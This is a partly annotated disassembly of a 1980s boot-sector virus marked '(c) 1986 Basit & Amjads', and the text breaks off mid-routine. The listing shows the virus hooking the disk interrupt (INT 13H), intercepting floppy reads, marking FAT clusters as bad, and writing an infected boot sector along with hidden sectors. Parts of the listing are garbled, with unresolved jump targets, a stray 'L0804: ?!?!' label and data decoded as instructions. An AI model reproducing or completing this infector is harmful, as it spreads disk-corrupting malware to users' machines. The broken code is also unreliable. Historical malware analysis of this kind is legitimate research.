; COPY OF BOOT SECTOR                                 ;
;-----------------------------------------------------------------------;
                        ;
         DB   6 DUP (?) ;
                        ;
L0006         DB   ?         ;HEAD
L0007         DB   ?         ;SECTOR
L0008         DB   ?         ;TRACK
                        ;
L0009         DB   ?         ;HEAD
L000A         DB   ?         ;SECTOR
L000B         DB   ?         ;TRACK
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
                        ;
    ORG  512            ;
                        ;
;-----------------------------------------------------------------------;
; (BOOT SECTOR TYPE FORMAT!)                          ;
;-----------------------------------------------------------------------;
CONTINUE:     JMP  CONTINUE_2     ;023C 
                        ;
L0203         DB   'IBM X3.2'     ;OEM NAME AND VERSION
                        ;
         DW   512       ;BYTES PER SECTOR
         DB   2         ;SECTORS PER ALLOCATION UNIT
         DW   1         ;RESERVED SECTORS
L0210         DB   2         ;NUMBER OF FATS
         DW   112       ;NUMBER OF ROOT DIR ENTRIES
         DW   2D0H      ;SECTORS PER DISK
         DB   0FDH      ;MEDIA ID
         DW   2         ;SECTORS PER FAT
         DW   9         ;SECTORS PER TRACK
         DW   2         ;NUMBER OF HEADS
         DW   0         ;HIDDEN SECTORS
                        ;
;---------------------------------------;
         DB   0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0

         DB   2
DISK_PARM     DB   0DFH,2,25H,2,12H,2AH,0FFH,50H,0F6H,0,2

;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
REBOOT:  INT  19H            ;REBOOT
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
CONTINUE_2:                  ;
    CLI                 ;
    XOR  AX,AX               ;
    MOV  ES,AX               ;ES=0
    MOV  SS,AX               ;SS:SP = 0000:7C00
    MOV  SP,7C00H       ;
    MOV  DS,AX               ;
    MOV  BX,07C0H       ;INITIALIZE DISK POINTER (INT 1E)
    MOV  Word Ptr [78H],2FH  ;0000:0078 = (DWORD) 07C0:002F
    MOV  [7AH],BX       ;
                        ;
    MOV  DS,BX               ;DS = 07C0
    MOV  DX,[1EH]       ;GET DRIVE/HEAD          ;BOOT:001E !
    MOV  [20H],DL       ;SAVE DRIVE         ;BOOT:0020 !
    INT  13H            ;RESET
    JNB  C_10           ;
    JMP  ERROR_2             ;IF ERROR...'BOOT FAILURE'
                        ;
C_10:    MOV  SI,BPB              ;SI = BPB      ;BOOT:000B
    MOV  CX,[SI]             ;CX = BYTES PER SECTOR
    SHR  CH,1           ;WORDS PER SECTOR
    XCHG CH,CL               ;
    MOV  [2BH],CX       ;SAVE               ;BOOT:002B
    MOV  AL,[SI+5]      ;AL= NUMBER OF FATS ;BOOT:0010
    XOR  AH,AH               ;
    MUL  Word Ptr [SI+0BH]   ;TOTAL FAT SECTORS  ;BOOT:0016
    ADD  AX,[SI+3]      ;+RESERVED SECTORS  ;BOOT:000E
    ADD  AX,[SI+11H]         ;+HIDDEN SECTORS    ;BOOT:001C
    MOV  [24H],AX       ;SAVE IT       ;BOOT:0024
    MOV  BX,7E00H       ;
    CALL UI             ;
                        ;
    MOV  BX,ES               ;SAVE ES
    MOV  AX,70H              ;ES=0070H
    MOV  ES,AX               ;
    MOV  AX,32               ;32*
    MUL  Word Ptr [SI+6]          ;   ROOT DIR ENTRIES+
    MOV  CX,[SI]             ;
    ADD  AX,CX               ;                    BYTES/SECTOR
    DEC  AX             ;                                -1
    DIV  CX             ;                         /BYTES/SECTOR
    ADD  [24H],AX       ;ADD TO BYTES IN BOOT & FAT
                        ;
    MOV  CL,[2AH]       ;
    MOV  AX,[24H]       ;
    CALL READ_CLUSTER        ;(READ BOOT SECTOR ???)
                        ;
    PUSH ES             ;
    POP  DS             ;
    JMP  0070H:0000H         ;(PASS CONTROL TO ???)
                        ;
;-----------------------------------------------------------------------;
; HEAVY CRUNCHING HERE (CLUSTER READS ?!?!?!)                   ;
; ON ENTRY:   AX = ?
;            ES:BX = DTA                              ;
;        CL = ?                                  ;
;        DS:SI = BPB                             ;
;    DS:[0021] =                                 ;
;-----------------------------------------------------------------------;
READ_CLUSTER:                ;02B3
    PUSH BX             ;
    PUSH AX             ;
                        ;
    MOV  AL,CL               ;
    MUL  Byte Ptr [2BH]      ;
    MOV  [29H],AL       ;
    POP  AX             ;
    MUL  Word Ptr [2BH]      ;
    DIV  Word Ptr [SI+0DH]   ;(BPB.SECTORS PER TRACK)
    INC  DL             ;
    MOV  [28H],DL       ;
    PUSH DX             ;
    XOR  DX,DX               ;
    DIV  Word Ptr [SI+0FH]   ;(BPB.NUMBER OF HEADS)
    MOV  [21H],DL       ;
    MOV  [26H],AX       ;
    POP  DX             ;
RC_10:   MOV  CL,[29H]       ;
    ADD  DL,CL               ;
    MOV  AX,[SI+0DH]         ;(BPB.SECTORS PER TRACK)
    INC  AX             ;
    CMP  DL,AL               ;
    JBE  RC_20               ;
    SUB  AL,[28H]       ;
    MOV  CL,AL               ;
RC_20:   MOV  AL,CL               ;
    MOV  DX,[26H]       ;
    MOV  CL,6           ;
    SHL  DH,CL               ;
    OR   DH,[28H]       ;
    MOV  CX,DX               ;
    XCHG CH,CL               ;
    MOV  DX,[20H]       ;
                        ;
    MOV  AH,2           ;READ SECTOR
    PUSH AX             ;
    INT  13H            ;
    POP  AX             ;
    JB   ERROR_2             ;IF ERROR...'BOOT FAILURE'
    SUB  [29H],AL       ;
    JBE  RC_90               ;
    CBW                 ;
    MUL  Word Ptr [2DH]      ;
    ADD  BX,AX               ;
    INC  Byte Ptr [21H]      ;
    MOV  DL,[21H]       ;
    CMP  DL,[SI+0FH]         ;
    MOV  DL,1           ;
    MOV  [28H],DL       ;
    JB   RC_10               ;
    MOV  Byte Ptr [21H],0    ;
    INC  Word Ptr [26H]      ;
    JMP  RC_10               ;
                        ;
RC_90:   POP  BX             ;
    RET                 ;
                        ;
;-----------------------------------------------------------------------;
; PRINT BOOT ERROR MESSAGE AND WAIT FOR A KEY                   ;
;-----------------------------------------------------------------------;
ERROR_1:                ;0339
    MOV  SI,01B3H       ;'Non-System disk'
    JMP  E_10           ;
                        ;
;---------------------------------------;
ERROR_2:                ;
    MOV  SI,01C5H       ;'BOOT failure'
E_10:    CALL DISPLAY_STRING      ;
                        ;
    MOV  SI,01D4H       ;'Replace and press any key when ready'
    CALL DISPLAY_STRING      ;
                        ;
    MOV  AH,0           ;WAIT FOR A KEY
    INT  16H            ;
E_20:    MOV  AH,1           ;   THROW IT AWAY AND
    INT  16H            ;   WAIT FOR ANOTHER ONE BUT
    JNZ  E_20           ;   DONT GET IT
    JMP  REBOOT              ;
                        ;
;-----------------------------------------------------------------------;
; DISPLAY ASCIIZ STRING                               ;
; ON ENTRY:   DS:SI = ASCIIZ STRING                        ;
;-----------------------------------------------------------------------;
DISPLAY_STRING:                   ;0357
DS_00:   LODSB                    ;DISPLAY UNTIL NULL
    OR   AL,AL               ;
    JZ   DS_90               ;
    MOV  AH,0EH              ;
    MOV  BX,7           ;
    INT  10             ;
    JMP  DS_00               ;
DS_90:   RET                 ;0365
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
UI:                     ;0366:
    MOV  CL,01               ;
    CALL READ_CLUSTER        ;
                        ;
    PUSH SI             ;
    MOV  DI,BX               ;
    MOV  AX,ES:[BX+1C]       ;
    XOR  DX,DX               ;
    DIV  Word Ptr [SI]       ;
    INC  AL             ;
    MOV  [002A],AL      ;
    MOV  SI,019D             ;
    MOV  CX,000B             ;
    REPZ                ;
    CMPSB                    ;
    JNZ  ERROR_1             ;'NON SYSTEM DISK'
    MOV  AX,ES:[BX+3A]       ;
    MOV  [0022],AX      ;
    MOV  DI,BX               ;
    ADD  DI,+20              ;
    MOV  SI,01A8             ;
    MOV  CX,000B             ;
    REPZ                ;
    CMPSB                    ;
    JNZ  ERROR_1             ;'NON SYSTEM DISK'
    POP  SI             ;
    RET                 ;
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
L039D    DB   'IBMBIO  COM'
    DB   'IBMDOS  COM'
    DB   CR,LF,'Non-System disk',0
    DB   CR,LF,'BOOT failure',0
    DB   CR,LF,'Replace and press any key when ready',0
    DB   90H,90H,90H,55H,0AAH

;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
L0400:   JMP  SHORT CONT_A        ;
                        ;
    DB   '(c) 1986 Basit & Amjads (pvt) Ltd ',0
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
CONT_A:                      ;
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
L0A5B    DB   'IBMBIO  COM'
    DB   'IBMDOS  COM'
    DB   CR,LF,'Non-System disk',0
    DB   CR,LF,'BOOT failure',0
    DB   CR,LF,'Replace and press any key when ready',0
    DB   90H,90H,90H,55H,0AAH

;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
    ADD  AL,00               ;0425 0400
    ADD  [06C6],CH      ;0427 002EC606
    AND  AX,1F02             ;042B 25021F
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
REDIRECT_13:                 ;042E
    XOR  AX,AX               ;GET INT 13 VECTOR
    MOV  DS,AX               ;
    MOV  AX,[004CH]          ;
    MOV  [01B4H],AX          ;   (SAVE IT TO INT 6D VECTOR)
    MOV  AX,[004EH]          ;
    MOV  [01B6H],AX          ;
    MOV  AX,0276H       ;SET INT 13 VECTOR
    MOV  [004CH],AX          ;
    MOV  AX,CS               ;
    MOV  [004EH],AX          ;
                        ;
    MOV  CX,0004             ;RETRY = 4
    XOR  AX,AX               ;
    MOV  ES,AX               ;
L0450:   PUSH CX             ;
    MOV  DH,CS:[0006]        ;DH = HEAD
    MOV  DL,00               ;DRIVE A:
    MOV  CX,CS:[0007]        ;CX = TRACK/SECTOR
    MOV  AX,0201             ;READ 1 SECTOR
    MOV  BX,7C00             ;ES:BX == DTA = 0000:7C00
    INT  6DH            ;
    JNB  L0470               ;
    MOV  AH,00               ;RESET
    INT  6DH            ;
    POP  CX             ;TRY AGAIN
    LOOP L0450               ;
    INT  18H            ;LOAD BASIC
                        ;
L0470:   JMP  0000:7C00      ;JUMP TO BOOT LOADER ?!?!
                        ;
    NOP                 ;0475 90
    STI                 ;0476 FB
    CMP  AH,02               ;0477 80FC02
    JNZ  L0494               ;047A 7518
    CMP  DL,02               ;047C 80FA02
    JA   L0494               ;047F 7713
    CMP  CH,00               ;0481 80FD00
    JNZ  L048B               ;0484 7505
    CMP  DH,00               ;0486 80FE00
    JZ   L0497               ;0489 740C
L048B:   DEC  Byte Ptr CS:[0225]  ;048B 2EFE0E2502
    JNZ  L0494               ;0490 7502
    JMP  L0497               ;0492 EB03
L0494:   JMP  L053C               ;0494 E9A500
L0497:   MOV  Byte Ptr CS:[0227],00    ;0497 2EC606270200
    MOV  Byte Ptr CS:[0225],04    ;049D 2EC606250204
    PUSH AX             ;04A3 50
    PUSH BX             ;04A4 53
    PUSH CX             ;04A5 51
    PUSH DX             ;04A6 52
    MOV  CS:[0226],DL        ;04A7 2E88162602
    MOV  CX,0004             ;04AC B90400
    PUSH CX             ;04AF 51
    MOV  AH,00               ;04B0 B400
    INT  6D             ;04B2 CD6D
    JB   ;04CB               ;04B4 7215
    MOV  DH,00               ;04B6 B600
    MOV  CX,0001             ;04B8 B90100
    MOV  BX,06BE             ;04BB BBBE06
    PUSH ES             ;04BE 06
    MOV  AX,CS               ;04BF 8CC8
    MOV  ES,AX               ;04C1 8EC0
    MOV  AX,0201             ;04C3 B80102
    INT  6D             ;04C6 CD6D
    POP  ES             ;04C8 07
    JNB  ;04D1               ;04C9 7306
    POP  CX             ;04CB 59
    LOOP ;04AF               ;04CC E2E1
    JMP  ;04FF               ;04CE EB2F
    NOP                 ;04D0 90
    POP  CX             ;04D1 59
    MOV  AX,CS:[06C2]        ;04D2 2EA1C206
    CMP  AX,1234             ;04D6 3D3412
    JNZ  ;04E3               ;04D9 7508
    MOV  Byte Ptr CS:[0227],01    ;04DB 2EC606270201
    JMP  ;0503               ;04E1 EB20
    PUSH DS             ;04E3 1E
    PUSH ES             ;04E4 06
    MOV  AX,CS               ;04E5 8CC8
    MOV  DS,AX               ;04E7 8ED8
    MOV  ES,AX               ;04E9 8EC0
    PUSH SI             ;04EB 56
    CALL L0804               ;04EC E81503
    JB   ;04FA               ;04EF 7209
    MOV  Byte Ptr CS:[0227],02    ;04F1 2EC606270202
    CALL L06B2               ;04F7 E8B801
    POP  SI             ;04FA 5E
    POP  ES             ;04FB 07
    POP  DS             ;04FC 1F
    JNB  ;0503               ;04FD 7304
    MOV  AH,00               ;04FF B400
    INT  6D             ;0501 CD6D
    POP  DX             ;0503 5A
    POP  CX             ;0504 59
    POP  BX             ;0505 5B
    POP  AX             ;0506 58
    CMP  CX,+01              ;0507 83F901
    JNZ  L053C               ;050A 7530
    CMP  DH,00               ;050C 80FE00
    JNZ  L053C               ;050F 752B
    CMP  Byte Ptr CS:[0227],01    ;0511 2E803E270201
    JNZ  ;052A               ;0517 7511
    MOV  CX,CS:[06C5]        ;0519 2E8B0EC506
    MOV  DX,CS:[06C3]        ;051E 2E8B16C306
    MOV  DL,CS:[0226]        ;0523 2E8A162602
    JMP  L053C               ;0528 EB12
    CMP  Byte Ptr CS:[0227],02    ;052A 2E803E270202
    JNZ  L053C               ;0530 750A
                        ;
    MOV  CX,CS:[0007]        ;CX = TRACK/SECTOR
    MOV  DH,CS:[0006]        ;DH = HEAD
L053C:   INT  6DH            ;
    RETF 2              ;
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
L0541    DB   0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
L0550:   JMP  CONTINUE_3          ;
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
L0553    DW   3              ;
    DB   ' (c) 1986 Basit & Amjads (pvt) Ltd'
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
CONTINUE_3:                  ;0577
    CALL READ_VERIFY         ;READ VERIFY
    MOV  AX,[06BEH]          ;IF ??? == DOUBLD SIDED 9 SECTORS...
    CMP  AX,0FFFDH      ;
    JE   L0586               ;...CONTINUE
    MOV  AL,3           ;ELSE RETURN ??? ERROR
    STC                 ;
    RET                 ;
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
L0586:                       ;0586
    MOV  CX,0037             ;
    MOV  Word Ptr [0353],0000     ;
    CALL ;05F8               ;058F E86600
    CMP  AX,0000             ;0592 3D0000
    JNZ  ;05A5               ;0595 750E
    INC  Word Ptr [0353]          ;0597 FF065303
    CMP  Word Ptr [0353],+03 ;059B 833E530303
    JNZ  ;05AB               ;05A0 7509
    JMP  ;05B6               ;05A2 EB12
    NOP                 ;05A4 90
    MOV  Word Ptr [0353],0000     ;05A5 C70653030000
    INC  CX             ;05AB 41
    CMP  CX,0163             ;05AC 81F96301
    JNZ  ;058F               ;05B0 75DD
    MOV  AL,01               ;05B2 B001
    STC                 ;05B4 F9
    RET                 ;05B5 C3
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
    MOV  DL,03               ;05B6 B203
    CALL ;05CB               ;05B8 E81000
    DEC  CX             ;05BB 49
    DEC  DL             ;05BC FECA
    JNZ  ;05B8               ;05BE 75F8
    INC  CX             ;05C0 41
    CALL CONVERT_1      ;CLUSTER TO TRACK/SECTOR/HEAD
    CALL ;062D               ;05C4 E86600
    MOV  AL,00               ;05C7 B000
    CLC                 ;05C9 F8
    RET                 ;05CA C3
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
    PUSH CX             ;05CB 51
    PUSH DX             ;05CC 52
    MOV  SI,06BE             ;05CD BEBE06
    MOV  AL,CL               ;05D0 8AC1
    SHR  AL,1           ;05D2 D0E8
    JB   ;05E4               ;05D4 720E
    CALL FUNCTION_1          ;BX = (CX*3)/2
    MOV  AX,[BX+SI]          ;05D9 8B00
    AND  AX,F000             ;05DB 2500F0
    OR   AX,0FF7             ;05DE 0DF70F
    JMP  ;05EF               ;05E1 EB0C
    NOP                 ;05E3 90
    CALL FUNCTION_1          ;BX = (CX*3)/2
    MOV  AX,[BX+SI]          ;05E7 8B00
    AND  AX,000F             ;05E9 250F00
    OR   AX,FF70             ;05EC 0D70FF
    MOV  [BX+SI],AX          ;05EF 8900
    MOV  [BX+SI+0400],AX          ;05F1 89800004
    POP  DX             ;05F5 5A
    POP  CX             ;05F6 59
    RET                 ;05F7 C3
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
    PUSH CX             ;05F8 51
    MOV  SI,06BE             ;05F9 BEBE06
    MOV  AL,CL               ;05FC 8AC1
    SHR  AL,1           ;05FE D0E8
    JB   L060D               ;0600 720B
    CALL FUNCTION_1          ;BX = (CX*3)/2
    MOV  AX,[BX+SI]          ;0605 8B00
    AND  AX,0FFF             ;0607 25FF0F
    JMP  L0619               ;060A EB0D
                        ;
L060D:   CALL FUNCTION_1          ;BX = (CX*3)/2
    MOV  AX,[BX+SI]          ;0610 8B00
    AND  AX,FFF0             ;0612 25F0FF
    MOV  CL,04               ;0615 B104
    SHR  AX,CL               ;0617 D3E8
L0619:   POP  CX             ;0619 59
    RET                 ;061A C3
                        ;
;-----------------------------------------------------------------------;
; BX = (CX*3)/2                                       ;
;-----------------------------------------------------------------------;
FUNCTION_1:                  ;061B
    PUSH DX             ;
    MOV  AX,3           ;
    MUL  CX             ;
    SHR  AX,1           ;
    MOV  BX,AX               ;
    POP  DX             ;
    RET                 ;
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
READ_VERIFY:                 ;0627
    MOV  AH,2           ;
    CALL VERIFY_SECTORS      ;
    RET                 ;
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
WRITE_VERIFY:                ;062D
    MOV  AH,03               ;
    CALL VERIFY_SECTORS      ;
    RET                 ;
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
VERIFY_SECTORS:                   ;0633
    MOV  CX,4           ;RETRY = 4
L0636:   PUSH CX             ;
    PUSH AX             ;
    MOV  AH,0           ;REST
    INT  6DH            ;
    POP  AX             ;
    JB   L0653               ;
    MOV  BX,offset L06BEH    ;
    MOV  AL,4           ;4==VERIFY
    MOV  DH,00               ;HEAD 0
    MOV  DL,[0226]      ;DRIVE DL
    MOV  CX,0002             ;TRACK 0/SECTOR 2
    PUSH AX             ;
    INT  6DH            ;
    POP  AX             ;
    JNB  L065C               ;IF ERROR...EXIT
L0653:   POP  CX             ;
    LOOP L0636               ;RETRY
    POP  AX             ;
    POP  AX             ;
    MOV  AL,2           ;BAD ADDRESS MARK ???
    STC                 ;RETURN ERROR
    RET                 ;
                        ;
L065C:   POP  CX             ;
    RET                 ;
                        ;
;-----------------------------------------------------------------------;
; CONVERT CLUSTERS TO TRACK/SECTOR/HEAD ????                    ;
;-----------------------------------------------------------------------;
CONVERT_1:                   ;065E
    PUSH CX             ;
    SUB  CX,2           ;
    SHL  CX,1           ;WORD PTR
    ADD  CX,9*2              ;   (SECTORS PER CYLINDER ???)
    MOV  AX,CX               ;
    MOV  CL,9*2              ;   (SECTORS PER CYLINDER ???)
    DIV  CL             ;
    MOV  DS:[0008],AL        ;AL = TRACK
    MOV  Byte Ptr DS:[0006],0     ;INC. HEAD
    INC  AH             ;INC. SECTOR
    CMP  AH,9           ;IF TOO BIG...
    JBE  L0684               ;
    SUB  AH,9           ;...START AT ZERO
    MOV  Byte Ptr DS:[0006],1     ;INC. HEAD
L0684:   MOV  DS:[0007],AH        ;
    POP  CX             ;
    RET                 ;
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
    ADD  [BX+SI],AL          ;068A 0000
    ADD  [BX+SI],AL          ;068C 0000
    ADD  [BX+SI],AL          ;068E 0000
    ADD  BP,[SI+00]          ;0690 036C00
    ADD  AX,[BP+DI]          ;0693 0303
    MOV  SI,010E             ;0695 BE0E01
    ADD  [BX+SI],AL          ;0698 0000
    ADD  AX,SP               ;069A 01E0
    FCOMP     DWord Ptr [DI+E0D7] ;069C D89DD7E0
    LAHF                ;06A0 9F
    LEA  BX,[BX+SI+8E9F]          ;06A1 8D989F8E
    LOOPNZ    ;06C7               ;06A5 E020
    SUB  [BP+DI+29],AH       ;06A7 286329
    AND  [BP+SI+72],AL       ;06AA 204272
    POPA                ;06AD 61
    IMUL BP,[BP+20],E824          ;06AE 696E2024E8
    FILD DWord Ptr [BX+SI]   ;06B3 DB00
    JB   L06C1               ;06B5 720A
    PUSH DI             ;06B7 57
    CALL ;06DA               ;06B8 E81F00
    POP  DI             ;06BB 5F
    JB   L06C1               ;06BC 7203
    CALL WRITE_RBF      ;WRITE ROOT BOOT FAT
L06C1:   RET                 ;06C1 C3
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
    MOV  BX,049B             ;06C2 BB9B04
    MOV  CX,000B             ;
L06C8:   MOV  AL,[BX]             ;
    NEG  AL             ;
    MOV  [SI],AL             ;
    INC  SI             ;
    INC  BX             ;
    LOOP L06C8               ;
                        ;
    MOV  AL,08               ;
    MOV  [SI],AL             ;
    CLC                 ;
    RET                 ;06D7 C3
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
    MOV  Byte Ptr [06C7],91  ;06D8 C606C70691
    ADD  AL,6C               ;06DD 046C
    ADD  [BP+06FE],BH        ;06DF 00BEFE06
    MOV  [0493],DX      ;06E3 89169304
    MOV  AX,[0491]      ;06E7 A19104
    SHR  AX,1           ;06EA D1E8
    MOV  [0497],AX      ;06EC A39704
    SHR  AX,1           ;06EF D1E8
    MOV  [0495],AX      ;06F1 A39504
    XCHG AX,CX               ;06F4 91
    AND  CL,43               ;06F5 80E143
    MOV  DI,[0495]      ;06F8 8B3E9504
    ADD  DI,01E3             ;06FC 81C7E301
    MOV  AL,[SI]             ;0700 8A04
    CMP  AL,00               ;0702 3C00
    JZ   ;071B               ;0704 7415
    MOV  AL,[SI+0B]          ;0706 8A440B
    AND  AL,08               ;0709 2408
    CMP  AL,08               ;070B 3C08
    JZ   ;071B               ;070D 740C
    ADD  SI,+20              ;070F 83C620
    DEC  Word Ptr [0491]          ;0712 FF0E9104
    JNZ  ;0700               ;0716 75E8
    STC                 ;0718 F9
    RET                 ;0719 C3
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
:                       ;071A
    MOV  CX,[BP+DI+331D]          ;
    PUSH DS             ;071E 1E
    XCHG AX,DI               ;071F 97
    ADD  AL,89               ;0720 0489
    XCHG AX,DI               ;0722 3697
    ADD  AL,FA               ;0724 04FA
    MOV  AX,SS               ;0726 8CD0
    MOV  SS:[0493],AX        ;0728 A39304
    MOV  [0495],SP      ;072B 89269504
    MOV  AX,CS               ;072F 8CC8
    MOV  SS,AX               ;0731 8ED0
    MOV  SP,[0497]      ;0733 8B269704
    ADD  SP,+0C              ;0737 83C40C
    MOV  CL,51               ;073A B151
    ADD  DX,444C             ;073C 81C24C44
    MOV  DI,2555             ;0740 BF5525
    MOV  CX,0C03             ;0743 B9030C
    REPZ                ;0746 F3
    CMPSW                    ;0747 A7
    MOV  AX,0B46             ;0748 B8460B
    MOV  CX,0003             ;074B B90300
    ROL  AX,CL               ;074E D3C0
    MOV  [0497],AX      ;0750 A39704
    MOV  CX,0005             ;0753 B90500
    MOV  DX,0008             ;0756 BA0800
    SUB  Word Ptr [0497],5210     ;0759 812E97041052
    PUSH [0497]              ;075F FF369704
L0763:   MOV  AH,[BX]             ;0763 8A27
    INC  BX             ;0765 43
    MOV  DL,AH               ;0766 8AD4
    SHL  DL,1           ;0768 D0E2
    JB   L0763               ;076A 72F7
L076C:   MOV  DL,[BX]             ;076C 8A17
    INC  BX             ;076E 43
    MOV  AL,DL               ;076F 8AC2
    SHL  DL,1           ;0771 D0E2
    JB   L076C               ;0773 72F7
    ADD  AX,1D1D             ;0775 051D1D
    PUSH AX             ;0778 50
    INC  Word Ptr [0497]          ;0779 FF069704
    JNB  L0780               ;077D 7301
    JMP  268B:E1E2      ;077F EAE2E18B26
                        ;
    XCHG AX,BP               ;0784 95
    ADD  AL,A1               ;0785 04A1
    XCHG AX,BX               ;0787 93
    ADD  AL,8E               ;0788 048E
    SAR  BL,1           ;078A D0FB
    ADD  DH,[BP+SI]          ;078C 0232
    CLC                 ;078E F8
    RET                 ;078F C3
                        ;
;-----------------------------------------------------------------------;
; READ ROOT, BOOT, FIRST FAT                          ;
;-----------------------------------------------------------------------;
READ_RBF:                    ;0790
    MOV  Byte Ptr [0490],02  ;COMMAND = READ
    JMP  ROOT_BOOT_FAT       ;DO IT
                        ;
;-----------------------------------------------------------------------;
; WRITE ROOT, BOOT, FIRST FAT                              ;
;-----------------------------------------------------------------------;
WRITE_RBF:                   ;0798
    MOV  Byte Ptr [0490],03  ;COMMAND = WRITE
    JMP  ROOT_BOOT_FAT       ;DO IT
                        ;
;-----------------------------------------------------------------------;
; READ OR WRITE ROOT, BOOT, FIRST FAT                      ;
;-----------------------------------------------------------------------;
ROOT_BOOT_FAT:                    ;07A0
    MOV  DH,0           ;HEAD = 0
    MOV  DL,[226H]      ;DL = DRIVE
    MOV  CX,6           ;(TRACK 0/SECTOR 6) == ENTIRE ROOT DIR
    MOV  AH,[490H]      ;AH = COMMAND
    MOV  AL,4           ;4 SECTORS
    MOV  BX,6BEH             ;ES:BX = DTA
    CALL RESET_DO_IT         ;GO TO DISK
    JB   L07C9               ;IF ERROR...EXIT
                        ;
    MOV  CX,1           ;(TRACK 0/SECTOR 1) == BOOT & FAT1
    MOV  DH,1           ;HEAD 1
    MOV  AH,[490H]      ;AH = COMMAND
    MOV  AL,3           ;3 SECTORS
    ADD  BX,800H             ;ES:BX = DTA
    CALL RESET_DO_IT         ;GO TO DISK
L07C9:   RET                 ;
                        ;
;-----------------------------------------------------------------------;
; RESET DRIVE BEFORE DOING SPECIFIED FUNCTION                   ;
;-----------------------------------------------------------------------;
RESET_DO_IT:                 ;07CA
    MOV  [0493],AX      ;
    MOV  [0495],BX      ;SAVE REGs
    MOV  [0497],CX      ;
    MOV  [0499],DX      ;
    MOV  CX,0004             ;RETRY COUNT = 4
                        ;
RDI_10:  PUSH CX             ;
    MOV  AH,00               ;REST DRIVE
    INT  6D             ;
    JB   RDI_80              ;IF ERROR...RETRY
    MOV  AX,[0493]      ;RESTORE REGs
    MOV  BX,[0495]      ;
    MOV  CX,[0497]      ;
    MOV  DX,[0499]      ;
    INT  6D             ;DO SPECIFIED FUNCTION
    JNB  RDI_90              ;IF NO ERROR...EXIT
RDI_80:  POP  CX             ;
    LOOP RDI_10              ;RETRY
    STC                 ;RETURN ERROR
    RET                 ;
                        ;
RDI_90:  POP  CX             ;RETURN NO ERROR
    RET                 ;
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
    ADD  [BX+SI],AL          ;07FD 0000
    ADD  [BP+DI],AL          ;07FF 0003
    ADD  [BX+DI],AL          ;0801 0001

L0804: ?!?!




    ADD  BP,AX               ;0803 03E8
    DEC  CX             ;0805 49
    STD                 ;0806 FD
    JB   ;085D               ;0807 7254
                        ;
    MOV  Word Ptr [000A],0001     ;
    MOV  Byte Ptr [0009],00  ;
    MOV  BX,06BE             ;ES:BX = DTA ?
    CALL READ_SECTORS        ;
                        ;
    MOV  BX,06BE             ;BX = DTA
    MOV  AX,[0007]      ;GET SECTOR TRACK
    MOV  [000A],AX      ;SAVE SECTOR/TRACK
    MOV  AH,[0006]      ;GET HEAD
    MOV  [0009],AH      ;SAVE HEAD
    CALL WRITE_SECTORS       ;WRITE SECTOR(S)
    CALL NEXT_SECTOR         ;POINT TO NEXT
                        ;
    MOV  CX,0005             ;CX = ???
    MOV  BX,0200             ;BX = DTA
L0837:   MOV  [0600],CX      ;SAVE ???
    CALL WRITE_SECTORS       ;WRITE SECTOR(S)
    CALL NEXT_SECTOR         ;POINT TO NEXT
    ADD  BX,512              ;DTA += 512
    MOV  CX,[0600]      ;???
    LOOP L0837               ;LOOP 5 TIMES ???
                        ;
    MOV  Byte Ptr [0009],00  ;HEAD = 0
    MOV  Word Ptr [000A],0001     ;TRACK/SECTOR = 0/1
    MOV  BX,0000             ;DTA = INFECTED BOOT SECTOR
    CALL WRITE_SECTORS       ;WRITE INFECTED BOOT SECTOR
    CLC                 ;
    RET                 ;
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
READ_SECTORS:                ;085E
    MOV  Word Ptr [0602H],0201H   ;READ CMD/1 SECTOR
    JMP  DO_SECTORS          ;
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
WRITE_SECTORS:                    ;0867
    MOV  Word Ptr [0602H],0301H   ;WRITE CMD/1 SECTOR
    JMP  DO_SECTORS          ;
                        ;
;-----------------------------------------------------------------------;
; READ OR WRITE SOME SECTORS WITH A RETRY COUNT OF 4            ;
;                                           ;
; ON ENTRY:   DS:[601H] = COMMAND                     ;
;        DS:[602H] = SECTOR COUNT                ;
;        DS:[226H] = DRIVE                       ;
;        DS:[0009] = HEAD                        ;
;        DS:[000A] = SECTOR                      ;
;        DS:[000B] = TRACK                       ;
;-----------------------------------------------------------------------;
DO_SECTORS:                  ;0870
    PUSH BX             ;
    MOV  CX,4           ;RETRY COUNT = 4
                        ;
D1S_10:  PUSH CX             ;
